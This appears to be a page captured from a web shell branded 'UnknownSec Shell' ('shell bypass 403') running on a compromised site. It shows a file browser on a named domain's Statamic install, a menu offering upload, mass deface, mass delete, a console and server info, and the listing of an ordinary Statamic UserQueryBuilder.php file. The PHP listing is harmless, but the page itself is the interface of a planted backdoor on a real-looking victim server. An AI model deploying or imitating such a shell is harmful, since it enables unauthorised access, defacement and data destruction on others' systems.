shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolasweb.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Stache
/
Query
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
UserQueryBuilder.php
<?php namespace Statamic\Stache\Query; use Statamic\Auth\UserCollection; class UserQueryBuilder extends Builder { public function whereGroup($value, $operator = '=', $boolean = 'and') { $this->where('groups/'.$value, $operator, true, $boolean); return $this; } public function orWhereGroup($value, $operator = '=') { $this->whereGroup($value, $operator, 'or'); return $this; } public function whereGroupIn($groups, $boolean = 'and') { $method = $boolean == 'or' ? 'orWhere' : 'where'; $this->$method(function ($query) use ($groups) { foreach ($groups as $group) { $query->orWhere('groups/'.$group, true); } }); return $this; } public function orWhereGroupIn($groups) { $this->whereGroupIn($groups, 'or'); return $this; } public function whereRole($value, $operator = '=', $boolean = 'and') { $this->where('roles/'.$value, $operator, true, $boolean); return $this; } public function orWhereRole($value, $operator = '=') { $this->whereRole($value, $operator, 'or'); return $this; } public function whereRoleIn($roles, $boolean = 'and') { $method = $boolean == 'or' ? 'orWhere' : 'where'; $this->$method(function ($query) use ($roles) { foreach ($roles as $role) { $query->orWhere('roles/'.$role, true); } }); return $this; } public function orWhereRoleIn($roles) { $this->whereRoleIn($roles, 'or'); return $this; } protected function getFilteredKeys() { if (! empty($this->wheres)) { return $this->getKeysWithWheres($this->wheres); } return collect($this->store->paths()->keys()); } protected function getKeysWithWheres($wheres) { return collect($wheres)->reduce(function ($ids, $where) { $keys = $where['type'] == 'Nested' ? $this->getKeysWithWheres($where['query']->wheres) : $this->getKeysWithWhere($where); return $this->intersectKeysFromWhereClause($ids, $keys, $where); }); } protected function getKeysWithWhere($where) { $items = app('stache') ->store('users') ->index($where['column'])->items(); $method = 'filterWhere'.$where['type']; return $this->{$method}($items, $where)->keys(); } protected function collect($items = []) { return new UserCollection($items); } protected function getOrderKeyValuesByIndex() { return collect($this->orderBys)->mapWithKeys(function ($orderBy) { $items = $this->store->index($orderBy->sort)->items()->all(); return [$orderBy->sort => $items]; }); } }
© 2026 UnknownSec